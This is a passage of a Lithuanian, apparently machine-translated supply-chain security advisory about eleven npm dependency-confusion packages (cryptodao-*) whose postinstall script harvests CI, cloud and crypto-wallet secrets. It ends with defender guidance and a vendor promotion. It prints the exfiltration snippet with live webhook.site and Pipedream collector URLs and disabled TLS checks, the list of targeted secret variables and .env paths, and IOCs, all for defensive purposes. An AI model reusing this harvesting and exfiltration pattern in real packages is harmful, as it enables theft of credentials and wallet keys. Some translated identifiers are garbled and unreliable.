„CryptoDAO“ painiava: npm paketų rinkimas CI/CD ir kriptovaliutų paslaptys

„CryptoDAO“ painiava: vienuolika npm paketų, vienas naudingasis krūvis, derliaus nuėmimas CI/CD ir kriptovaliutų piniginių paslaptys

Lt; DR

2026-06-17 buvo paskelbta viena npm paskyra vienuolika paketų, kurie turi vieną paskirtį ir vieną naudingąją apkrovąDešimt iš jų neša cryptodao- priešdėlis (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); vienuoliktasis yra taikymo sritis @public-for-cdao/coreKiekvienas buvo paskelbtas versijoje 99.99.99 ir siunčia baitams identišką recon.js kad bėga toliau postinstall.

Pavadinimai yra svarbiausia. Jie skaitomi kaip vidiniai kriptovaliutų/DAO projekto privačios įrankių grandinės elementai. Paskelbti viešajame npm registre dirbtinai didele versija, jie laukia, kol bus sukurta. pipeline kuris sukonfigūruotas taip, kad išspręstų šiuos vardus, ir kuris pasiekia viešąjį npm prieš privatų registrą arba vietoj jo. Tai yra priklausomybės painiava, o naudingoji apkrova sureguliuota tiksliai ten, kur ji tikisi nusileisti: CI/CD bėgikai.

Kada postinstall gaisrai, recon.js renka pagrindinio kompiuterio duomenis, apytiksliai peržiūri keturiasdešimt debesies, CI ir kriptovaliutų piniginės aplinkos kintamųjų, skaito bet kokį .env failus, kuriuos gali rasti, ir pažodžiui persiunčia slaptą informaciją turinčias eilutes, o tada perduoda paketą dviem surinkėjams — webhook.site ir „Pipedream“ galinį tašką – su išjungtu TLS sertifikato patvirtinimu. Kopija taip pat parašyta skiltyje /tmp.

Sunkumas: aukštasPaveikta ekosistema: npmRašymo metu visi vienuolika paketų buvo aktyvūs.

Atakos anatomija

Mechanizmas turi keturias judančias dalis, ir nė viena iš jų nėra subtili, kai tik ją išmokstate pažiūrėkite vienu sluoksniu toliau nei paketo pavadinimas.

1. Versijų infliacija kaip masalas sprendimo sprendėjams. Kiekvienas paketas deklaruoja versiją 99.99.99Priklausomybių painiava kyla, kai paketų tvarkyklė paprašo vidinis pavadinimas, taip pat patikrina viešąjį registrą ir pasirenka naujausią jo versiją randa. npm numatytasis pasirinkimas žymeklio arba pakaitos simbolio diapazonui yra geriausiai tenkinanti versija kiekviename sukonfigūruotame šaltinyje; jei abu yra privatūs Jei registro ir viešas npm atsakymas yra tas pats, kurio vardas didesnis, laimi didesnis versijos numeris. A 99.99.99 iš esmės pranoksta bet kurią realią vidinę projekto versiją pasiektas, todėl prie privataus šaltinio neprisegtas resolveris teikia pirmenybę vieša – ir šiuo atveju priešiška – kopija. Operatoriui nereikia žinoti tikrieji tikslo versijų numeriai; absurdiško maksimumo pasirinkimas visada garantuoja lygiąsias laužo jiems kelią.

2. Įdiegimo poįtampis. paketas.json prijungia naudingąją apkrovą prie diegimo įrenginio gyvavimo ciklas:

{   "scripts": { "postinstall": "node recon.js" } }

Paketo importuoti nereikia. Tereikia jį įdiegti – tai daroma su CI. pipeline veikia automatiškai — veikia recon.js.

3. Platus slaptas tyrimas. recon.js etapais surenka rezultatų masyvą:

  • Pagrindinio kompiuterio kontekstas: pagrindinio kompiuterio pavadinimas, platforma ir versija, architektūra, vartotojo vardas, veikiantis katalogas.
  • Aplinkos kintamieji: iteracinis fiksuotas maždaug keturiasdešimties pavadinimų ir įrašų sąrašas bet kokie nustatyti. Sąrašas atskleidžiantis – jame susiejami bendriniai CI žetonai (CI_JOB_TOKEN, CI_REGISTRY_SLAPTAŽODIS, GITLAB_ACCESS_TOKEN) ir debesis įgaliojimai (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) su registro ir konteinerio slaptaisiais kodais (NPM_TOKEN, DOCKER_PASSWORD, UOSTO_SLAPTAŽODIS) ir aiškiai kriptovaliutų skonio klasteris:  PRIVATE_KEY, MNEMONIKA, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCĮrašytos reikšmės sutrumpinamos iki pirmųjų 50 simbolių.
  • .NS failai: jis patikrina kelių sąrašą — .NS, ../.aplinka, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, ir .gamyba/.vystymas variantai – ir bet kuriam egzistuojančiam failui filtruoja turinį pagal atitinkančias eilutes RAKTAS|SLAPTAS|ŽETONAS|LEIDIMAS|PRIVATUS|MNEMONINIS ir į rezultatus įterpia tas eilutes **pilnai, nesutrumpintas**.
  • „Build-host“ kontekstas: jame pateikiami pirmieji 20 įrašų /sukurta/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ir / tmp /.

Kelių sąrašas ir kintamųjų sąrašas yra svertiniai pagal „GitLab“ vykdytojus, o tai rodo naudingoji apkrova tiesiogiai savarankiškai talpinamoje CI infrastruktūroje, o ne kūrėjo nešiojamas kompiuteris. Grupuojant derliaus sąrašą pagal kategorijas, numatomas laimikis tampa aiškus:

Kategorija Pasiekti kintamieji / keliai
CI/CD tapatybė ir diegimas CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
debesis AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registras ir konteineris NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Duomenų saugyklos DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kriptovaliuta / blokų grandinė PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Pranešimai SLACK_TOKEN, DISCORD_TOKEN
Diske .env šeima + /home/gitlab-runner/.env, /root/.env, /app/**/.envkatalogų sąrašai /builds/, /var/lib/gitlab-runner/

Kripto klasteris yra dalis, kuri skiria šį kodą nuo bendro CI paslapties. šluota: piniginės pradinės frazės ir pasirašymo raktai rodomi tik aplinkoje, kurioje yra blokų grandinės projektas, ir jie tiesiogiai susiejami su kriptodao-/pasirašantis asmuo/sutartys vežėjų pavadinimai.

4. Dviguba išfiltracija su išjungta patikra. Surinktas masyvas yra serializuota ir išsiųsta į dvi paskirties vietas:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

atmestiNeautorizuota: false išjungia TLS sertifikatų tikrinimus siunčiamiems pranešimams skambučiai. Tie patys duomenys atspausdinami į standartinę išvestį (todėl jie taip pat patenka į CI užduočių žurnalus) ir raštu /tmp/.npm_recon_ .jsonKlaidos tyliai praryjamos, todėl nepavykęs siuntimas nepalieka jokių pėdsakų diegimo išvestyje, išskyrus vieną [žvalgyba] įdiegta linija.

Pagrindinėje failo pastaboje tai apibūdinama kaip „priklausomybės painiava“ Žvalgybos naudingoji apkrova.“ Aplinkos reikšmių sutrumpinimas iki 50 simbolių buvo atliktas. koncepcijos įrodymo forma. Tai, kas jį perkelia toliau nei vien tik buvimo indikatorių, yra .NS tvarkymas: slaptos linijos persiunčiamos pilnai, o paskirties vietos yra du veikiantys, užpuoliko valdomi kolektoriai, o ne kriauklė, kuri skaičiuoja tik hitai.

Chronologija

Publikavimo šablonas yra vieno scenarijaus pagrindu sukurto įkėlimo parašas, o ne vienuolikos. nepriklausomi įkėlimai.

Laikas (UTC, 2026-06-17) renginys
03:24:58 cryptodao-bot@99.99.99 paskelbti
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — variantas su optiniu taikikliu, ~24 min. vėliau

Per 29 sekundžių laikotarpį buvo išsiųsti dešimt paketų, maždaug po vieną kas tris sekundes. Apimtis @public-for-cdao/core po maždaug 24 minučių sekė – sekundė to paties tikslo pavadinimo konvencija, jei naudojamas projektas nurodo vidinė įrankių grandinė, pateikiama taikymo srityje, o ne kaip paprasti pavadinimai.

Kompromiso rodikliai

Tipas rodiklis
Kolektorius hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kolektorius hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Įdiekite kabliuką postinstall: node recon.js
Išmestas failas /tmp/.npm_recon_<timestamp>.json
Rąstų žymeklis [recon] <pkg>@<ver> installed on <hostname> (standartinė išvestis CI žurnaluose)
Elgsenos rejectUnauthorized: false diegimo metu naudojant išorinį HTTPS
Naudingoji apkrova recon.js, identiškas visuose vienuolikoje paketų (vienas bendras kompiliavimas)
versija 99.99.99 ant kiekvienos pakuotės
Paketai cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (visi 99.99.99)
Leidėjas aduljune / aduljune@proton.me (el. pašto adresas nepatvirtintas, nėra susietos šaltinio saugyklos)

 Priskyrimas ir stebimas elgesys

Viskas apie klasterį rodo į vieną ranką. Visi vienuolika paketų buvo paskelbti. pagal npm paskyrą aduljune (aduljune@proton.me, nepatvirtintas adresas be susietos šaltinio saugyklos), per 25 minučių laikotarpį, tuo pačiu metu 99.99.99 versija, siuntimas recon.js kurio turinys yra baitas po baito identiškas kiekviename paketas (MD5 atitinka visas vienuolika ištrauktų kopijų). Tai viena apkrova įrašytas į vardų sąrašą, o ne nepriklausomas kodo pakartotinis naudojimas.

Vardų sąrašas apibrėžia numatytą taikinį. kriptodao-* bei cdao apibūdinti kriptovaliutų/DAO projekto privataus modulio išdėstymas ir naudingosios apkrovos surinkimo sąrašas veidrodžiai, kurie spėja: kartu su bendriniais CI ir debesijos paslaptimis, jis konkrečiai pasiekia PRIVATE_KEY, MNEMONIKA, SEED_PHRASEir Ethereum/BSC RPC ir teikėjo raktai. .NS paieškos keliai ir katalogų sąrašai yra „GitLab-runner“ konkretus. Stebimas efektas yra tas, kad bet koks pipeline apgauti juos įdiegiant vardai persiųstų savo CI žetonus, debesies raktus ir diske esančius duomenis .NS paslaptys – ir dėl blokų grandinės projektas, jo piniginės medžiaga – dviem trečiųjų šalių kolekcionieriams.

Mes neteikiame jokių pretenzijų dėl to, kas valdo sąskaitą ar ką jie planavo su ja daryti. duomenys. Faktai, kurie patys savaime yra verti dėmesio: pavadinimai skirti konkrečiai rūšiai vidinė įrankių grandinė, naudingoji apkrova nuskaito ir perduoda tikras slaptas reikšmes ir Infrastruktūra veikė.

Poveikis, tendencijos ir gynėjų gairės

Priklausomybės painiavos išlieka veiksminga, nes išnaudoja sprendėjo elgseną, o ne a bet kokio paketo pažeidžiamumas. Vežėjas čia yra nereikšmingas – vienuolika beveik tuščių paketai – bet sprogimo spindulys yra bet koks pipeline klaidingai teikia pirmenybę viešajam npm vidiniam vardui. CI vykdytojai yra blogiausia vieta tam įvykti: jie laiko tiksliai žetonai ir .NS failai, kuriuos nuskaito ši naudingoji apkrova, ir jie įdiegiami priklausomybės neinteraktyviai, taigi a po įdiegimo bėga niekam nestebint.

Šis klasteris taip pat atitinka nuolat matomą modelį: diegimo metu pateikiami naudingieji duomenys kaip „tyrimas“ arba „žvalgyba“, tuo pačiu metu renkant tikrus įgaliojimus. Etiketė faile nekeičia kodo veiksmų su bėgiku. Išlieka du dizaino variantai veikla tyli: kiekviena tinklo ir failų sistemos operacija yra apvyniota išimčių tvarkyklė, kuri atmeta klaidas, pvz., užblokuotą siuntimą arba trūkstamą failą nesuteikia jokios diagnostinės išvesties, o atspausdinamas tik vienas nekenksmingas [žvalgyba] … įdiegta eilutė, kuri susilieja su įprastu diegimo plepėjimu. webhook.site ir „Pipedream“ taip pat yra sąmoningai sukurtas patogumas – abu yra nemokami, akimirksniu teikiamos užklausų fiksavimo paslaugos, todėl operatoriui nereikia jokių serverių jų pačių, o paskirties vietos išėjimo žurnaluose atrodo kaip įprasti SaaS pagrindinių kompiuterių pavadinimai.

Ekonominiai aspektai yra tai, kas verta gynėjo dėmesio, nors ir vežėjo kodas yra trivialus. Vienuolikos vardų registravimas nieko nekainuoja, naudingoji apkrova yra viena failas nukopijuojamas vienuolika kartų, o visą vykdymą atlieka paketų tvarkyklė. Vienas neteisingai sukonfigūruotas pipeline bet kur, kur vartojamas vienas iš šių pavadinimų, moka už viską operacija.

Konkretūs žingsniai gynėjams:

  • Prisekite vidines taikymo sritis prie savo privataus registro. Konfigūruokite npm su vidiniais pavadinimais
     ir aprėptys nustatomos tik pagal jūsų registrą (aprėpties .npmrc registro susiejimai,
    arba tarpinis serveris, kuris niekada neperduoda prieigos prie viešo npm nuosavybės teise priklausančioms vardų erdvėms). Rezervuokite savo viešosios srities pavadinimus, kad niekas kitas negalėtų jų užregistruoti.
  • Commit „lockfiles“ ir įdiegti naudojant „–ignore-scripts“ CI kur įmanoma, arba patikrinkite nedidelį priklausomybių rinkinį, kuriam tikrai reikia diegimo scenarijų.  recon.js negali veikti, jei po įdiegimo nėra vykdomas.
  • Apdorokite 99.99.99 (ar kitą absurdiškai aukštą) vidinio formato pavadinimo versiją kaip raudona vėliava priklausomybių peržiūroje ir registrų stebėjime.
  • Įspėjimas apie diegimo metu gaunamą informaciją. A po įdiegimo kuris atidaro išeinantį HTTPS ryšys – ypač išjungus sertifikato tikrinimą – su „webhook.site“, „Pipedream“ ar panašias užklausų fiksavimo paslaugas verta blokuoti tinklo krašte ir pažymėti kūrimo žurnaluose.
  • Medžiok artefaktus. Patikrinkite bėgikus, ar nėra /tmp/.npm_recon_*.json ir už [recon] … įdiegta … žymeklyje naujausiuose CI žurnaluose. Jei randama, pasukti kas įgaliojimai, susiję su tuo pipeline — CI žetonai, debesies raktai, registro žetonai ir bet kokie piniginės pradiniai kodai arba privatūs raktai, esantys aplinkoje arba .env failuose.

Nuorodos

Rašymo metu nebuvo jokių išorinių ataskaitų apie šį klasterį; analizė aukščiau pateikta informacija tiesiogiai pagrįsta paskelbtu pakuotės turiniu

sca-tools-software-composition-analyses-tools
Prioritetizuoti, pašalinti ir apsaugoti savo programinės įrangos rizikas
Gaukite nemokamą paskyrą.
Nebūtina kreditinės kortelės.

Apsaugokite savo programinės įrangos kūrimą ir tiekimą

su „Xygeni“ produktų rinkiniu